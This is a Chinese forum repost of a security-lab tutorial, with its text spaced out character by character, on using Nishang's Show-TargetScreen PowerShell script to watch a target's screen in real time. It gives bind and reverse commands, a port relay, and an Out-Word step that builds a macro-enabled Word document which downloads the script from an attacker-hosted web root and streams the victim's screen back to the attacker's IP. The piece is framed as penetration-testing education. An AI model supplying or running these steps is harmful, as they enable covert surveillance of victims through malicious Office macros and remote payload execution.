搜索

[26943] 2020-03-25_使用Powershell对目标进行屏幕监控

文档创建者：s7ckTeam
浏览次数：48
最后更新：2025-01-19
2020-03-25_使用Powershell对目标进行屏幕监控 使 用 P o w e r s h e l l 对 目 标 进 行 屏 幕 监 控 大 盗 贼 卡 卡   M s 0 8 0 6 7 安 全 实 验 室   2 0 2 0 - 0 3 - 2 5 N i s h a n g 是 基 于 P o w e r S h e l l 的 渗 透 测 试 专 用 工 具 。 集 成 了 框 架 、 脚 本 和 各 种 p a y l o a d 。 这 些 脚 本 是 由 N i s h a n g 的 作 者 在 真 实 渗 透 测 试 过 程 中 有 感 而 发 编 写 的 ， 具 有 实 战 价 值 。 包 括 了 下 载 和 执 行 、 键 盘 记 录 、 d n s 、 延 时 命 令 等 脚 本 。 今 天 要 给 大 家 介 绍 的 是 如 何 通 过 p o w e r s h e l l 对 目 标 的 屏 幕 进 行 实 时 监 控 。 脚 本 下 载 地 址 如 下 : h t t p s : / / r a w . g i t h u b u s e r c o n t e n t . c o m / s a m r a t a s h o k / n i s h a n g / m a s t e r / G a t h e r / S h o w - T a r g e t S c r e e n . p s 1 使 用 也 很 简 单 ， 脚 本 包 括 了 r e v e r s e 以 及 b i n d 模 式 。 下 面 是 使 用 示 例 ： 0 x 0 1   B i n d 模 式 ： 模 式 ： 然 后 在 自 己 的 计 算 机 上 使 用 火 狐 访 问 目 标 3 3 3 3 端 口 ， 结 果 如 下 图 ： 0 x 0 2 R e v e r s e 模 式 模 式 a t t a c k e r ： 在 这 里 可 以 使 用 创 宇 的 p y 脚 本 转 发 ： 执 行 : 监 听 本 地 5 5 5 5 端 口 以 及 4 4 4 4 端 口 。               之 后 在 t a r g e t 执 行 ： 效 果 截 图 ： 0 x 0 3   使 用 使 用 P o w e r s h e l l   C l i e n t 以 O u t - W o r d . p s 1 作 为 演 示 示 例 ： 生 成 w o r d 文 件 : 之 后 将 S h o w - T a r g e t S c r e e n . p s 1 放 在 我 们 的 w e b 根 目 录 ： 测 试 ： P S   C : U s e r s e v i 1 c g D e s k t o p >   .   . S h o w - T a r g e t S c r e e n . p s 1 P S   C : U s e r s e v i 1 c g D e s k t o p >   S h o w - T a r g e t S c r e e n   - B i n d   - P o r t   3 3 3 3 h t t p s : / / g i t h u b . c o m / k n o w n s e c / r t c p r t c p   [ m a s t e r ]   p y t h o n   r t c p . p y   l : 5 5 5 5   l : 4 4 4 4 P S   C : U s e r s e v i 1 c g D e s k t o p >   .   . S h o w - T a r g e t S c r e e n . p s 1 P S   C : U s e r s e v i 1 c g D e s k t o p >   S h o w - T a r g e t S c r e e n   - R e v e r s e - I P A d d r e s s   1 9 2 . 1 6 8 . 7 4 . 1   - P o r t   5 5 5 5 P S   C : U s e r s e v i 1 c g D e s k t o p >   .   . O u t - W o r d . p s 1 P S   C : U s e r s e v i 1 c g D e s k t o p >   O u t - W o r d   - P a y l o a d U R L " h t t p : / / 1 9 2 . 1 6 8 . 7 4 . 1 / S h o w - T a r g e t S c r e e n . p s 1 "   - A r g u m e n t s " S h o w - T a r g e t S c r e e n   - R e v e r s e   - I P A d d r e s s   1 9 2 . 1 6 8 . 7 4 . 1   - P o r t   6 6 6 6 "
开 启 监 听 ： 当 运 行 开 启 o f f i c e 宏 的 w o r d 时 ， 我 们 就 可 对 其 屏 幕 进 行 监 控 ， 如 下 图 ： 目 前 目 前 2 0 0 0 0 + 人 已 关 注 加 入 我 们 人 已 关 注 加 入 我 们 M s 0 8 0 6 7 安 全 实 验 室 安 全 实 验 室 专 注 于 普 及 网 络 安 全 知 识 。 团 队 已 出 版 《 W e b 安 全 攻 防 ： 渗 透 测 试 实 战 指 南 》 ， 《 内 网 安 全 攻 防 ： 渗 透 测 试 实 战 指 南 》 《 内 网 安 全 攻 防 ： 渗 透 测 试 实 战 指 南 》 ， 目 前 在 编 P y t h o n 渗 透 测 试 ， J A V A 代 码 审 计 和 二 进 制 逆 向 方 面 的 书 籍 。 团 队 公 众 号 定 期 分 享 关 于 C T F 靶 场 、 内 网 渗 透 、 A P T 方 面 技 术 干 货 ， 从 零 开 始 、 以 实 战 落 地 为 主 ， 致 力 于 做 一 个 实 用 的 干 货 分 享 型 公 众 号 。 官 方 网 站 ： w w w . m s 0 8 0 6 7 . c o m r t c p   [ m a s t e r ]   p y t h o n   r t c p . p y   l : 6 6 6 6   l : 4 4 4 4

回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理